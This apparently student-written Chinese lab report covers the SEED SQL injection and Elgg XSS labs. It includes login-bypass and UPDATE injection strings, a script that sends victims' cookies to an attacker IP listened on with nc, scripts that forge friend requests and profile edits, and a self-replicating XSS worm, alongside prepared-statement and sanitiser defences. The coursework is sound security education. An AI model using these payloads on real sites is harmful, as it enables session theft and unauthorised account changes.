20232801 2023-2024-2 《网络攻防实践》实践十报告

20232801 2023-2024-2 《网络攻防实践》实践十报告

1.实践内容

一、SEED SQL注入攻击与防御实验
1.熟悉SQL语:查看creditential的表中的内容。
2.对SELECT语句的SQL注入攻击:在不知道密码的情况下登陆该Web应用程序
3.对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
4.QL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
1.弹窗显示cookie信息:将cookie信息显示。
2.窃取受害者的cookies:将cookie发送给攻击者。
3.成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
5.修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

2.实践过程

一、SEED SQL注入攻击与防御实验

  • 修改自己的主机名为:ly(名字首字母缩写)命令为:hostname ly 再sudo service apache2
    star启动Apache服务 打开两个页面

www.xsslabelgg.com
请添加图片描述
www.SEEDLabSQLInjection.com、
在这里插入图片描述
1、熟悉SQL语句

  • 在终端中使用命令:

mysql -u root -pseedubuntu登录MySQL数据库
在这里插入图片描述

  • 使用 use Users;切换数据库,再使用show tables;查看数据库中的表,注意这里**’;’**不能省略,这表示一句命令的结束。

在这里插入图片描述

  • 使用 select * from credential; 查看表中的信息,看到表中有ID号,姓名,生日,薪资,密码等信息。
    在这里插入图片描述
  • 熟悉一下SQL,如果我想要查找Alice 的信息,使用如下命令 select * from credential where Name='Alice';

在这里插入图片描述
2.对SELECT语句进行SQL注入攻击

  • 打开我们刚刚的网址www.seedlabsqlinject.com网址,看到SQL实验平台,的登录界面。

请添加图片描述

  • 首先鼠标在界面点击右键,找到View Page Source ,我们查看代码。

可以看到表单 使用 get方法将用户的输入信息提交到了unsafe_home.php页面进行权限校验。

在这里插入图片描述
输入:var/www/SQLInjection/unsafe_home.php,在在Text Editor中打开存储动态信息文件var中的unsafe_home.php,即可查询到源代码。

  • 文件中可以看到where部分存在可以进行注入攻击的漏洞

#后的内容为注释内容,将name设为Admin‘#,#后边的内容就都没了,相当于密码部分直接为空白
在这里插入图片描述

  • 我们使用Admin’#进行登录:不输入密码。
    登录成功

请添加图片描述
3、对UPDATE语句的SQL注入攻击

  • 对表中的元素进行修改,修改Admin的Salary,将400000修改为826

unsafe_edit_backend.php查看代码。
$input_nickname 直接填入了,我们使用一个右引号就相当于结束了这一段, 使用 ‘, Salary=‘826’ where name=‘Admin’; #,也就是把Admin的Salary改为826。
在这里插入图片描述
返回查看效果,已经修改成功。
在这里插入图片描述
4、SQL对抗——SQL注入漏洞的修复

  • 在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理
    将原来的:$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
    修改为:$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
    在这里插入图片描述
    注入失败
    在这里插入图片描述

二、SEED XSS跨站脚本攻击实验(Elgg)
1.发布恶意消息,显示警报窗口
进入到http://www.xsslabelgg.com/profile/alice网址,进行登录,账户:Alice 密码:seedalice
在这里插入图片描述
登录成功
在这里插入图片描述
edit profile功能修改页面信息
在这里插入图片描述
Brief description位置输入<script> alert('xss');</script>后保存。
在这里插入图片描述
看到弹出XSS窗口,攻击成功。
在这里插入图片描述
2、cookies信息弹窗显示
使用刚刚的方法,将攻击代码改成<script>alert(document.cookie);</script>此时我们可以看到当前已经是登录网页的cookie信息
在这里插入图片描述
3、窃取受害者的cookies
查到本机的地址为:192.168.227.42
将写入攻击代码<script>document.write('<img src=http://192.168.227.42:55555?c='+escape(document.cookie) + ' >');</script>
在这里插入图片描述
使用命令nc -l 5555 -v进行监听,得到如下cookies信息。

在这里插入图片描述
4 、成为受害者的朋友

  • 我们首先通过www.xsslabelgg.com/profile/boby进入到Boby的页面,进入到开发者工具。

在这里插入图片描述

  • Add friend选项添加此朋友,得到如下反馈界面。

在这里插入图片描述

  • 构造一段代码,写入到Alice的 about me 中保存
<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

在这里插入图片描述

  • 添加好友成功。

在这里插入图片描述

5 、修改受害者的信息

  • 构造代码,js脚本:
<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.20222811zj </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>
  • Alice页面的About me中输入

在这里插入图片描述
登录Boby ,通过menber点击Alice主页后,在从右上角进入profile,发现Boby的简介变了
在这里插入图片描述
6. 编写 XSS 蠕虫

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack again "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
  • 将这部分代码放入Alice用户profile的About Me中,使用Edit HTML模式。

在这里插入图片描述

  • 退出Alice,使用Boby登录,在member中访问Alice主页,在左上角返回自己的profile,看到 发现信息再次被修改。

在这里插入图片描述

  • 退出Boby,使用Admin登录,用户名:Admin密码:seedelgg。同样成员中访问Boby主页,再通过左上角返回自己的profile,发现About
    me已经被修改。

在这里插入图片描述
7、 对抗 XSS 攻击
1.AAdmin发现了XSS攻击,打开管理页面。
在这里插入图片描述
在这里插入图片描述
2、找到Plugins,插件HTMLawed并点击进行激活。目的是:对用户的输入输出进行校验并且去除特定标签
在这里插入图片描述
3.再次查看profile页面,此时的XSS攻击已经失效。在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:seedubuntu无法复制粘贴
  • 问题1解决方案:在ubuntu虚拟机中登录CSDN,找到相应代码,进行复制

4.实践总结

明白了SQL注入:形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
XSS攻击:跨网站脚本,由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中。
SQL注入能够攻进数据库,拿到信息甚至还可以修改信息,直观感受到XSS攻击的过程

参考资料

  • 23
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值